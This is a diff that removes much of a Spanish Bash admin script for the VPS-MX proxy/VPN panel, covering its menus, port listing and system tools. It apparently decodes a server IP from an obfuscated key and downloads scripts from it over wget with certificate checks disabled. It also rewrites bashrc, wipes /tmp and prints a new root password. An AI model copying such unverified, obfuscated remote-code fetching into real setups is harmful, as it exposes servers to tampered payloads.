-    IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') && echo "$IP" >/usr/bin/vendor_code
-    sleep 1s
-    function_verify
-    updatedb
-    if [[ -e $HOME/lista-arq ]] && [[ ! $(cat $HOME/lista-arq | grep "Code de KEY Invalido!") ]]; then
-        msg -bar2
-        msg -verd "    $(source trans -b es:es "Ficheros Copiados" | sed -e 's/[^a-z -]//ig'): \e[97m[\e[93mVPS-MX #MOD\e[97m]"
-        REQUEST=$(ofus "$Key" | cut -d'/' -f2)
-        [[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal}
-        pontos="."
-        stopping="Configurando Directorios"
-        for arqx in $(cat $HOME/lista-arq); do
-            msg -verm "${stopping}${pontos}"
-            wget --no-check-certificate -O ${SCPinstal}/${arqx} ${IP}:81/${REQUEST}/${arqx} >/dev/null 2>&1 && verificar_arq "${arqx}" || error_fun
-            tput cuu1 && tput dl1
-            pontos+="."
-        done
-        sleep 1s
-        msg -bar2
-        listaarqs="$(locate "lista-arq" | head -1)" && [[ -e ${listaarqs} ]] && rm $listaarqs
-        cat /etc/bash.bashrc | grep -v '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >/etc/bash.bashrc.2
-        echo -e '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >>/etc/bash.bashrc.2
-        mv -f /etc/bash.bashrc.2 /etc/bash.bashrc
-        echo "${SCPdir}/menu" >/usr/bin/menu && chmod +x /usr/bin/menu
-        echo "${SCPdir}/menu" >/usr/bin/VPSMX && chmod +x /usr/bin/VPSMX
-        echo "$Key" >${SCPdir}/key.txt
-        [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal}
-        rm -rf /root/lista-arq
-        [[ ${#id} -gt 2 ]] && echo "es" >${SCPidioma} || echo "es" >${SCPidioma}
-        echo -e "${cor[2]}               ACTUALIZACION COMPLETA "
-        echo -e "         COMANDO PRINCIPAL PARA ENTRAR AL PANEL "
-        echo -e "  \033[1;31m               sudo VPSMX o menu             \033[0;37m" && msg -bar2
-        rm -rf $HOME/lista-arq
-    else
-        invalid_key
-    fi
-    exit 1
-}
-funcao_idioma() {
-    tput cuu1 && tput dl1
-    msg -bar2
-    declare -A idioma=([1]="en English" [2]="fr Franch" [3]="de German" [4]="it Italian" [5]="pl Polish" [6]="pt Portuguese" [7]="es Spanish" [8]="tr Turkish")
-    for ((i = 1; i <= 12; i++)); do
-        valor1="$(echo ${idioma[$i]} | cut -d' ' -f2)"
-        [[ -z $valor1 ]] && break
-        valor1="\033[1;32m[$i] > \033[1;33m$valor1"
-        while [[ ${#valor1} -lt 37 ]]; do
-            valor1=$valor1" "
-        done
-        echo -ne "$valor1"
-        let i++
-        valor2="$(echo ${idioma[$i]} | cut -d' ' -f2)"
-        [[ -z $valor2 ]] && {
-            echo -e " "
-            break
-        }
-        valor2="\033[1;32m[$i] > \033[1;33m$valor2"
-        while [[ ${#valor2} -lt 37 ]]; do
-            valor2=$valor2" "
-        done
-        echo -ne "$valor2"
-        let i++
-        valor3="$(echo ${idioma[$i]} | cut -d' ' -f2)"
-        [[ -z $valor3 ]] && {
-            echo -e " "
-            break
-        }
-        valor3="\033[1;32m[$i] > \033[1;33m$valor3"
-        while [[ ${#valor3} -lt 37 ]]; do
-            valor3=$valor3" "
-        done
-        echo -e "$valor3"
-    done
-    msg -bar2
-    unset selection
-    while [[ ${selection} != @([1-8]) ]]; do
-        echo -ne "\033[1;37m$(fun_trans "  ► Selecione una Opcion"): " && read selection
-        tput cuu1 && tput dl1
-    done
-    [[ -e /etc/VPS-MX/texto-mx ]] && rm /etc/VPS-MX/texto-mx
-    echo "$(echo ${idioma[$selection]} | cut -d' ' -f1)" >${SCPidioma}
-}
-menu_info() {
-    meu_ip &>/dev/null
-    if [[ "$(grep -c "Ubuntu" /etc/issue.net)" = "1" ]]; then
-        system=$(cut -d' ' -f1 /etc/issue.net)
-        system+=$(echo ' ')
-        system+=$(cut -d' ' -f2 /etc/issue.net | awk -F "." '{print $1}')
-    elif [[ "$(grep -c "Debian" /etc/issue.net)" = "1" ]]; then
-        system=$(cut -d' ' -f1 /etc/issue.net)
-        system+=$(echo ' ')
-        system+=$(cut -d' ' -f3 /etc/issue.net)
-    else
-        system=$(cut -d' ' -f1 /etc/issue.net)
-    fi
-    _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
-    _ram=$(printf ' %-8s' "$(free -h | grep -i mem | awk {'print $2'})")
-    _ram2=$(printf ' %-8s' "$(free -h | grep -i mem | awk {'print $4'})")
-    _system=$(printf '%-9s' "$system")
-    _core=$(printf '%-8s' "$(grep -c cpu[0-9] /proc/stat)")
-    _usop=$(top -bn1 | sed -rn '3s/[^0-9]* ([0-9\.]+) .*/\1/p;4s/.*, ([0-9]+) .*/\1/p' | tr '\n' ' ')
-    modelo1=$(printf '%-11s' "$(lscpu | grep Arch | sed 's/\s\+/,/g' | cut -d , -f2)")
-    mb=$(printf '%-8s' "$(free -h | grep Mem | sed 's/\s\+/,/g' | cut -d , -f6)")
-    _hora=$(printf '%(%H:%M:%S)T')
-    _hoje=$(date +'%d/%m/%Y')
-    echo -e "\033[1;37m OS \033[1;31m: \033[1;32m$_system \033[1;37mHORA\033[1;31m: \033[1;32m$_hora  \033[1;37mIP\033[1;31m:\033[1;32m $(meu_ip)"
-    echo -e "\033[1;37m RAM\e[31m: \033[1;32m$_ram \033[1;37mUSADO\033[1;31m: \033[1;32m$mb\033[1;37m LIBRE\033[1;31m: \033[1;32m$_ram2"
-}
-ofus() {
-    unset txtofus
-    number=$(expr length $1)
-    for ((i = 1; i < $number + 1; i++)); do
-        txt[$i]=$(echo "$1" | cut -b $i)
-        case ${txt[$i]} in
-        ".") txt[$i]="C" ;;
-        "C") txt[$i]="." ;;
-        "3") txt[$i]="@" ;;
-        "@") txt[$i]="3" ;;
-        "4") txt[$i]="9" ;;
-        "9") txt[$i]="4" ;;
-        "6") txt[$i]="P" ;;
-        "P") txt[$i]="6" ;;
-        "L") txt[$i]="K" ;;
-        "K") txt[$i]="L" ;;
-        esac
-        txtofus+="${txt[$i]}"
-    done
-    echo "$txtofus" | rev
-}
-SPR &
-limpar_caches() {
-    (
-        VE="\033[1;33m" && MA="\033[1;31m" && DE="\033[1;32m"
-        while [[ ! -e /tmp/abc ]]; do
-            A+="#"
-            echo -e "${VE}[${MA}${A}${VE}]" >&2
-            sleep 0.3s
-            tput cuu1 && tput dl1
-        done
-        echo -e "${VE}[${MA}${A}${VE}] - ${DE}[100%]" >&2
-        rm /tmp/abc
-    ) &
-    echo 3 >/proc/sys/vm/drop_caches &>/dev/null
-    sleep 1s
-    sysctl -w vm.drop_caches=3 &>/dev/null
-    apt-get autoclean -y &>/dev/null
-    sleep 1s
-    apt-get clean -y &>/dev/null
-    rm /tmp/* &>/dev/null
-    touch /tmp/abc
-    sleep 0.5s
-    msg -bar
-    msg -ama "$(fun_trans "PROCESO CONCLUIDO")"
-    msg -bar
-}
-fun_autorun() {
-    if [[ -e /etc/bash.bashrc-bakup ]]; then
-        mv -f /etc/bash.bashrc-bakup /etc/bash.bashrc
-        cat /etc/bash.bashrc | grep -v "/etc/VPS-MX/menu" >/tmp/bash
-        mv -f /tmp/bash /etc/bash.bashrc
-        msg -ama "$(fun_trans "REMOVIDO CON EXITO")"
-        msg -bar
-    elif [[ -e /etc/bash.bashrc ]]; then
-        cat /etc/bash.bashrc | grep -v /bin/menu >/etc/bash.bashrc.2
-        echo '/etc/VPS-MX/menu' >>/etc/bash.bashrc.2
-        cp /etc/bash.bashrc /etc/bash.bashrc-bakup
-        mv -f /etc/bash.bashrc.2 /etc/bash.bashrc
-        msg -ama "$(fun_trans "AUTO INICIALIZAR AGREGADO")"
-        msg -bar
-    fi
-}
-fun_bar() {
-    comando="$1"
-    _=$(
-        $comando >/dev/null 2>&1
-    ) &
-    >/dev/null
-    pid=$!
-    while [[ -d /proc/$pid ]]; do
-        echo -ne " \033[1;33m["
-        for ((i = 0; i < 10; i++)); do
-            echo -ne "\033[1;31m##"
-            sleep 0.2
-        done
-        echo -ne "\033[1;33m]"
-        sleep 1s
-        echo
-        tput cuu1
-        tput dl1
-    done
-    echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
-    sleep 1s
-}
-meu_ip() {
-    if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
-        echo "$(cat /etc/VPS-MX/MEUIPvps)"
-    else
-        MEU_IP=$(wget -qO- ifconfig.me)
-        echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
-    fi
-}
-fun_ip() {
-    if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
-        IP="$(cat /etc/VPS-MX/MEUIPvps)"
-    else
-        MEU_IP=$(wget -qO- ifconfig.me)
-        echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
-    fi
-}
-fun_eth() {
-    eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
-    [[ $eth != "" ]] && {
-        msg -bar
-        msg -ama " $(fun_trans "Aplicar el sistema para mejorar los paquetes SSH?")"
-        msg -ama " $(fun_trans "Opciones para usuarios avanzados")"
-        msg -bar
-        read -p " [S/N]: " -e -i n sshsn
-        [[ "$sshsn" = @(s|S|y|Y) ]] && {
-            echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH ...")"
-            echo -e " $(fun_trans "¿Cual es la tasa RX?")"
-            echo -ne "[ 1 - 999999999 ]: "
-            read rx
-            [[ "$rx" = "" ]] && rx="999999999"
-            echo -e " $(fun_trans "¿Cual es la tasa TX?")"
-            echo -ne "[ 1 - 999999999 ]: "
-            read tx
-            [[ "$tx" = "" ]] && tx="999999999"
-            apt-get install ethtool -y >/dev/null 2>&1
-            ethtool -G $eth rx $rx tx $tx >/dev/null 2>&1
-        }
-        msg -bar
-    }
-}
-os_system() {
-    system=$(echo $(cat -n /etc/issue | grep 1 | cut -d' ' -f6,7,8 | sed 's/1//' | sed 's/      //'))
-    echo $system | awk '{print $1, $2}'
-}
-lacasita() {
-    unset puertos
-    declare -A port
-    local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
-    local NOREPEAT
-    local reQ
-    local Port
-    while read port; do
-        reQ=$(echo ${port} | awk '{print $1}')
-        Port=$(echo ${port} | awk '{print $9}' | awk -F ":" '{print $2}')
-        [[ $(echo -e $NOREPEAT | grep -w "$Port") ]] && continue
-        NOREPEAT+="$Port\n"
-        case ${reQ} in
-        squid | squid3)
-            [[ -z ${port[SQD]} ]] && local port[SQD]="\033[1;31m SQUID: \033[1;32m"
-            port[SQD]+="$Port "
-            ;;
-        apache | apache2)
-            [[ -z ${port[APC]} ]] && local port[APC]="\033[1;31m APACHE: \033[1;32m"
-            port[APC]+="$Port "
-            ;;
-        nginx)
-            [[ -z ${port[NG]} ]] && local port[NG]="\033[1;31m NGINX: \033[1;32m"
-            port[NG]+="$Port "
-            ;;
-        ssh | sshd)
-            [[ -z ${port[SSH]} ]] && local port[SSH]="\033[1;31m SSH: \033[1;32m"
-            port[SSH]+="$Port "
-            ;;
-        dropbear)
-            [[ -z ${port[DPB]} ]] && local port[DPB]="\033[1;31m DROPBEAR: \033[1;32m"
-            port[DPB]+="$Port "
-            ;;
-        ssserver | ss-server)
-            [[ -z ${port[SSV]} ]] && local port[SSV]="\033[1;31m SHADOWSOCKS: \033[1;32m"
-            port[SSV]+="$Port "
-            ;;
-        openvpn)
-            [[ -z ${port[OVPN]} ]] && local port[OVPN]="\033[1;31m OPENVPN-TCP: \033[1;32m"
-            port[OVPN]+="$Port "
-            ;;
-        stunnel4 | stunnel)
-            [[ -z ${port[SSL]} ]] && local port[SSL]="\033[1;31m SSL: \033[1;32m"
-            port[SSL]+="$Port "
-            ;;
-        python | python3)
-            [[ -z ${port[PY3]} ]] && local port[PY3]="\033[1;31m PYTHON: \033[1;32m"
-            port[PY3]+="$Port "
-            ;;
-        node)
-            [[ -z ${port[WS]} ]] && local port[WS]="\033[1;31m WEBSOCKET: \033[1;32m"
-            port[WS]+="$Port "
-            ;;
-        v2ray)
-            [[ -z ${port[V2R]} ]] && local port[V2R]="\033[1;31m V2RAY: \033[1;32m"
-            port[V2R]+="$Port "
-            ;;
-        badvpn-ud)
-            [[ -z ${port[BAD]} ]] && local port[BAD]="\033[1;31m BADVPN: \033[1;32m"
-            port[BAD]+="$Port "
-            ;;
-        esac
-    done <<<"${portasVAR}"
-    local portasVAR=$(lsof -V -i udp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND")
-    local NOREPEAT
-    local reQ
-    local Port
-    while read port; do
-        reQ=$(echo ${port} | awk '{print $1}')
-        Port=$(echo ${port} | awk '{print $9}' | awk -F ":" '{print $2}')
-        [[ $(echo -e $NOREPEAT | grep -w "$Port") ]] && continue
-        NOREPEAT+="$Port\n"
-        case ${reQ} in
-        openvpn)
-            [[ -z ${port[OVPN]} ]] && local port[OVPN]="\033[1;31m OPENVPN-UDP: \033[1;32m"
-            port[OVPN]+="$Port "
-            ;;
-        dns-serve)
-            [[ -z ${port[SLOW]} ]] && local port[SLOW]="\033[1;31m SlowDNS: \033[1;32m"
-            port[SLOW]+="$Port "
-            ;;
-        esac
-    done <<<"${portasVAR}"
-    k=1
-    for line in "${port[@]}"; do
-        [[ -z "$line" ]] && continue
-        let RESTO=k%2
-        if [[ $RESTO -eq 0 ]]; then
-            puertos+="$line\n"
-        else
-            puertos+="$line-"
-        fi
-        let k++
-    done
-    echo -e "$puertos" | column -t -s '-'
-}
-remove_script() {
-    clear
-    clear
-    msg -bar
-    msg -tit
-    msg -ama "          ¿ DESEA DESINSTALAR SCRIPT ?"
-    msg -bar
-    echo -e " Esto borrara todos los archivos del scrip VPS_MX"
-    msg -bar
-    while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
-        read -p " [S/N]: " yesno
-        tput cuu1 && tput dl1
-    done
-    if [[ ${yesno} = @(s|S|y|Y) ]]; then
-        rm -rf ${SCPdir} &>/dev/null
-        rm -rf ${SCPusr} &>/dev/null
-        rm -rf ${SCPinst} &>/dev/null
-        [[ ! -d /usr/local/lib/ubuntn ]] && rm -rf /usr/local/lib/ubuntn
-        [[ ! -d /usr/share/mediaptre/local/log ]] && rm -rf /usr/share/mediaptre/local/log
-        [[ ! -d /usr/local/protec ]] && rm -rf /usr/local/protec
-        [[ -e /bin/VPSMX ]] && rm /bin/VPSMX
-        [[ -e /usr/bin/VPSMX ]] && rm /usr/bin/VPSMX
-        [[ -e /bin/menu ]] && rm /bin/menu
-        [[ -e /usr/bin/menu ]] && rm /usr/bin/menu
-        cd $HOME
-    fi
-    sudo apt-get --purge remove squid -y >/dev/null 2>&1
-    sudo apt-get --purge remove stunnel4 -y >/dev/null 2>&1
-    sudo apt-get --purge remove dropbear -y >/dev/null 2>&1
-}
-horas() {
-    msg -bar
-    echo -e "	\e[41mACTUALIZAR HORA LOCAL\e[0m"
-    msg -bar
-    n=1
-    for i in $(ls /usr/share/zoneinfo/America); do
-        loc=$(echo $i | awk -F ":" '{print $1}')
-        zona=$(printf '%-12s' "$loc")
-        echo -e " \e[37m [$n] \e[31m> \e[32m$zona"
-        r[$n]=$zona
-        selec="$n"
-        let n++
-    done
-    msg -bar
-    opci=$(selection_fun $selec)
-    rm -rf /etc/localtime >/dev/null 2>&1
-    echo "America/${r[$opci]}" >/etc/timezone
-    ln -fs /usr/share/zoneinfo/America/${r[$opci]} /etc/localtime >/dev/null 2>&1
-    dpkg-reconfigure --frontend noninteractive tzdata >/dev/null 2>&1 && echo -e "\033[1;32m [HORA ACTUALIZADA]" || echo -e "\033[1;31m [HORA NO ACTUALIZADO]"
-}
-systen_info() {
-    clear
-    clear
-    msg -bar
-    msg -tit
-    msg -ama "$(fun_trans "                DETALLES DEL SISTEMA")"
-    null="\033[1;31m"
-    msg -bar
-    if [ ! /proc/cpuinfo ]; then
-        msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
-        return 1
-    fi
-    if [ ! /etc/issue.net ]; then
-        msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
-        return 1
-    fi
-    if [ ! /proc/meminfo ]; then
-        msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
-        return 1
-    fi
-    totalram=$(free | grep Mem | awk '{print $2}')
-    usedram=$(free | grep Mem | awk '{print $3}')
-    freeram=$(free | grep Mem | awk '{print $4}')
-    swapram=$(cat /proc/meminfo | grep SwapTotal | awk '{print $2}')
-    system=$(cat /etc/issue.net)
-    clock=$(lscpu | grep "CPU MHz" | awk '{print $3}')
-    based=$(cat /etc/*release | grep ID_LIKE | awk -F "=" '{print $2}')
-    processor=$(cat /proc/cpuinfo | grep "model name" | uniq | awk -F ":" '{print $2}')
-    cpus=$(cat /proc/cpuinfo | grep processor | wc -l)
-    [[ "$system" ]] && msg -ama "$(fun_trans "Sistema"): ${null}$system" || msg -ama "$(fun_trans "Sistema"): ${null}???"
-    [[ "$based" ]] && msg -ama "$(fun_trans "Base"): ${null}$based" || msg -ama "$(fun_trans "Base"): ${null}???"
-    [[ "$processor" ]] && msg -ama "$(fun_trans "Procesador"): ${null}$processor x$cpus" || msg -ama "$(fun_trans "Procesador"): ${null}???"
-    [[ "$clock" ]] && msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}$clock MHz" || msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}???"
-    msg -ama "$(fun_trans "Uso del Procesador"): ${null}$(ps aux | awk 'BEGIN { sum = 0 }  { sum += sprintf("%f",$3) }; END { printf " " "%.2f" "%%", sum}')"
-    msg -ama "$(fun_trans "Memoria Virtual Total"): ${null}$(($totalram / 1024))"
-    msg -ama "$(fun_trans "Memoria Virtual En Uso"): ${null}$(($usedram / 1024))"
-    msg -ama "$(fun_trans "Memoria Virtual Libre"): ${null}$(($freeram / 1024))"
-    msg -ama "$(fun_trans "Memoria Virtual Swap"): ${null}$(($swapram / 1024))MB"
-    msg -ama "$(fun_trans "Tempo Online"): ${null}$(uptime)"
-    msg -ama "$(fun_trans "Nombre De La Maquina"): ${null}$(hostname)"
-    msg -ama "$(fun_trans "IP De La  Maquina"): ${null}$(ip addr | grep inet | grep -v inet6 | grep -v "host lo" | awk '{print $2}' | awk -F "/" '{print $1}')"
-    msg -ama "$(fun_trans "Version de Kernel"): ${null}$(uname -r)"
-    msg -ama "$(fun_trans "Arquitectura"): ${null}$(uname -m)"
-    msg -bar
-    return 0
-}
-[[ "$(crontab -l | grep 'vm.drop_caches=3' | wc -l)" != '0' ]] &>/dev/null && {
-    autram="\e[1;32m[ON]"
-} || {
-    autram="\e[1;31m[OFF]"
-}
-menu3() {
-    declare -A inst
-    pidr_inst
-    clear
-    valuest=$(ps ax | grep /etc/shadowsocks-r | grep -v grep)
-    [[ $valuest != "" ]] && valuest="\033[1;32m[ON] " || valuest="\033[1;31m[OFF]"
-    pidproxy=$(ps x | grep -w "lacasitamx.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && plox="\e[1;32m[ON] " || plox="\e[1;31m[OFF]"
-    Bot=$(ps x | grep -v grep | grep "ADMbot.sh")
-    [[ ! $Bot ]] && AD="\033[1;31m[OFF]" || AD="\033[1;32m[ON] "
-    msg -bar
-    msg -tit
-    export -f fun_eth
-    export -f fun_bar
-    export -f lacasita
-    lacasita
-    msg -bar
-    echo -e "	\e[97m\e[1;100mPROTOCOLOS\e[0m		  \e[97m\e[41mHERRAMIENTAS\e[0m"
-    msg -bar
-    echo -e "\e[1;93m[\e[92m1\e[93m]$(msg -verm2 "➛ ")$(msg -azu "BADVPN        ${inst[badvpn]}")  \e[1;93m[\e[92m11\e[93m]$(msg -verm2 "➛ ")$(msg -azu "ARCHIVO ONLINE")"
-    echo -e "\e[1;93m[\e[92m2\e[93m]$(msg -verm2 "➛ ")$(msg -azu "HTTP-PYTHON   $plox")  \e[1;93m[\e[92m12\e[93m]$(msg -verm2 "➛ ")$(msg -azu "FIREWALL")"
-    echo -e "\e[1;93m[\e[92m3\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SOCKS PYTHON  ${inst[python]}")  \e[1;93m[\e[92m13\e[93m]$(msg -verm2 "➛ ")$(msg -azu "FAIL2BAN PROTECION")"
-    echo -e "\e[1;93m[\e[92m4\e[93m]$(msg -verm2 "➛ ")$(msg -azu "V2RAY         ${inst[v2ray]}")  \e[1;93m[\e[92m14\e[93m]$(msg -verm2 "➛ ")$(msg -azu "DETALLES DE SISTEMA")"
-    echo -e "\e[1;93m[\e[92m5\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SSL           ${inst[stunnel4]}")  \e[1;93m[\e[92m15\e[93m]$(msg -verm2 "➛ ")$(msg -azu "TCP (BBR|BBR-Plus)")"
-    echo -e "\e[1;93m[\e[92m6\e[93m]$(msg -verm2 "➛ ")$(msg -azu "DROPBEAR      ${inst[dropbear]}")  \e[1;93m[\e[92m16\e[93m]$(msg -verm2 "➛ ")$(msg -azu "DNS NETFLIX")"
-    echo -e "\e[1;93m[\e[92m7\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SQUID         ${inst[squid]}")  \e[1;93m[\e[92m17\e[93m]$(msg -verm2 "➛ ")$(msg -azu "LIMPIAR-CACHÉ ")$autram"
-    echo -e "\e[1;93m[\e[92m8\e[93m]$(msg -verm2 "➛ ")$(msg -azu "OPENVPN       ${inst[openvpn]}")  \e[1;93m[\e[92m18\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SCANNER SUBDOMINIO")"
-    echo -e "\e[1;93m[\e[92m9\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SLOWDNS            ${inst[dns - serve]}")  \e[1;93m[\e[92m19\e[93m]$(msg -verm2 "➛ ")$(msg -azu "PRUEBA DE VELOCIDAD")"
-    echo -e "\e[1;93m[\e[92m10\e[93m]$(msg -verm2 "➛ ")$(msg -azu "BOT TELEGRAM $AD")  \e[1;93m[\e[92m20\e[93m]$(msg -verm2 "➛ ")$(msg -azu "FIX ORACLE/AWS/AZR")"
-    echo -e "$(msg -verd "[0]")$(msg -verm2 "➛ ")$(msg -azu "⇚ VOLVER  ")           $(msg -verd "[21]")$(msg -verm2 "➛ ")$(msg -azu "\e[91m\e[43mHERRAMIENTAS BASICOS\e[0m")"
-    msg -bar
-    echo -ne " ►\e[1;37m Selecione Una Opcion: \e[33m " && read select
-    case $select in
-    0) ;;
-    1)
-        ${SCPinst}/budp.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    2)
-        ${SCPinst}/proxy.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    3)
-        ${SCPinst}/sockspy.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    4)
-        ${SCPinst}/v2ray.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    5)
-        ${SCPinst}/ssl.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    6)
-        ${SCPinst}/dropbear.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    7)
-        ${SCPinst}/squid.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    8)
-        ${SCPinst}/openvpn.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    9)
-        ${SCPinst}/slowdns.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    10) ${SCPfrm}/ADMbot.sh ;;
-    11) ${SCPfrm}/apacheon.sh ;;
-    12) ${SCPfrm}/blockBT.sh ;;
-    13) ${SCPfrm}/fai2ban.sh ;;
-    14) systen_info ;;
-    15) ${SCPfrm}/tcp.sh ;;
-    16) net ;;
-    17) cache ;;
-    18) ${SCPfrm}/ultrahost ;;
-    19) ${SCPfrm}/speed.py ;;
-    20) oracl ;;
-    21) extra ;;
-    *)
-        msg -verm2 " Por Favor Selecione El Número Correcto"
-        sleep 1.s
-        menu3
-        ;;
-    esac
-}
-extra() {
-    clear
-    clear
-    msg -bar
-    msg -tit
-    on="\033[1;32m[ON]" && off="\033[1;31m[OFF]"
-    [[ $(grep -c "^#ADM" /etc/sysctl.conf) -eq 0 ]] && tcp=$off || tcp=$on
-    if [ -e /etc/squid/squid.conf ]; then
-        [[ $(grep -c "^#CACHE_DO_SQUID" /etc/squid/squid.conf) -gt 0 ]] && squi=$off || squi=$on
-    elif [ -e /etc/squid3/squid.conf ]; then
-        [[ $(grep -c "^#CACHE_DO_SQUID" /etc/squid3/squid.conf) -gt 0 ]] && squi=$off || squi=$on
-    fi
-    echo -e "		\e[91m\e[43mHERRAMIENTAS BASICOS\e[0m"
-    msg -bar
-    echo -e " \e[1;93m[\e[92m1\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "ACTUALIZAR HORA LOCAL")"
-    echo -e " \e[1;93m[\e[92m2\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "HTOP")"
-    echo -e " \e[1;93m[\e[92m3\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "MODIFICAR PUERTOS ACTIVOS")"
-    echo -e " \e[1;93m[\e[92m4\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "PAYLOAD FUERZA BRUTA")"
-    echo -e " \e[1;93m[\e[92m5\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "TCP SPEED") $tcp"
-    echo -e " \e[1;93m[\e[92m6\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "CACHÉ PARA SQUID") $squi"
-    echo -e " \e[1;93m[\e[92m7\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "LIMPIAR PAQUETES OBSOLETOS")"
-    echo -e " \e[1;93m[\e[92m8\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "RESET IPTABLES")"
-    echo -e " \e[1;93m[\e[92m9\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "REINICIAR VPS")"
-    echo -e " \e[1;93m[\e[92m10\e[93m]$(msg -verm2 "➛ ")$(msg -azu "CAMBIAR HOSTNAME VPS")"
-    echo -e " \e[1;93m[\e[92m11\e[93m]$(msg -verm2 "➛ ")$(msg -azu "CAMBIAR CONTRASEÑA ROOT")"
-    echo -e " \e[1;93m[\e[92m12\e[93m]$(msg -verm2 "➛ ")$(msg -azu "AGREGAR ROOT a GoogleCloud y Amazon")"
-    echo -e " \e[1;93m[\e[92m13\e[93m]$(msg -verm2 "➛ ")$(msg -azu "AUTENTIFICAR SQUID")"
-    echo -e " \e[1;93m[\e[92m0\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "VOLVER")"
-    msg -bar
-    echo -ne " ►\e[1;37m Selecione Una Opcion: \e[33m " && read select
-    case $select in
-    0) menu3 ;;
-    1) horas ;;
-    2) monhtop ;;
-    3)
-        ${SCPfrm}/ports.sh && msg -ne "Enter Para Continuar" && read enter
-        menu3
-        ;;
-    4) ${SCPfrm}/paysnd.sh ;;
-    5) TCPspeed ;;
-    6) SquidCACHE ;;
-    7) packobs ;;
-    8) resetiptables ;;
-    9) reiniciar_vps ;;
-    10) host_name ;;
-    11) cambiopass ;;
-    12) rootpass ;;
-    13) ${SCPfrm}/squidpass.sh ;;
-    *) ;;
-    esac
-}
-reiniciar_vps() {
-    echo -ne " \033[1;31m[ ! ] Sudo Reboot"
-    sleep 3s
-    echo -e "\033[1;32m [OK]"
-    (
-        sudo reboot
-    ) >/dev/null 2>&1
-    msg -bar
-    return
-}
-host_name() {
-    unset name
-    while [[ ${name} = "" ]]; do
-        echo -ne "\033[1;37m $(fun_trans "Nuevo nombre del host"): " && read name
-        tput cuu1 && tput dl1
-    done
-    hostnamectl set-hostname $name
-    if [ $(hostnamectl status | head -1 | awk '{print $3}') = "${name}" ]; then
-        echo -e "\033[1;33m $(fun_trans "Host alterado corretamente")!, $(fun_trans "reiniciar VPS")"
-    else
-        echo -e "\033[1;33m $(fun_trans "Host no modificado")!"
-    fi
-    msg -bar
-    return
-}
-cambiopass() {
-    echo -e "${cor[3]} $(fun_trans "Esta herramienta cambia la contraseña de su servidor vps")"
-    echo -e "${cor[3]} $(fun_trans "Esta contraseña es utilizada como usuario") root"
-    msg -bar
-    echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "
-    read x
-    [[ $x = @(n|N) ]] && msg -bar && return
-    msg -bar
-    echo -e "${cor[0]} $(fun_trans "Escriba su nueva contraseña")"
-    msg -bar
-    read -p " Nuevo passwd: " pass
-    (
-        echo $pass
-        echo $pass
-    ) | passwd 2>/dev/null
-    sleep 1s
-    msg -bar
-    echo -e "${cor[3]} $(fun_trans "Contraseña cambiada con exito!")"
-    echo -e "${cor[2]} $(fun_trans "Su contraseña ahora es"): ${cor[4]}$pass"
-    msg -bar
-    return
-}
-dnsnetflix() {
-    echo "nameserver $dns1" >/etc/resolv.conf
-    echo "nameserver $dns2" >>/etc/resolv.conf
-    /etc/init.d/ssrmu stop &>/dev/null
-    /etc/init.d/ssrmu start &>/dev/null
-    /etc/init.d/shadowsocks-r stop &>/dev/null
-    /etc/init.d/shadowsocks-r start &>/dev/null
-    msg -bar2
-    echo -e "${cor[4]}  DNS AGREGADOS CON EXITO"
-}
-net() {
-    clear
-    msg -bar2
-    msg -tit
-    echo -e "\033[1;93m     AGREGADOR DE DNS PERSONALES"
-    msg -bar2
-    echo -e "\033[1;39m Esta funcion ara que puedas ver Netflix con tu VPS"
-    msg -bar2
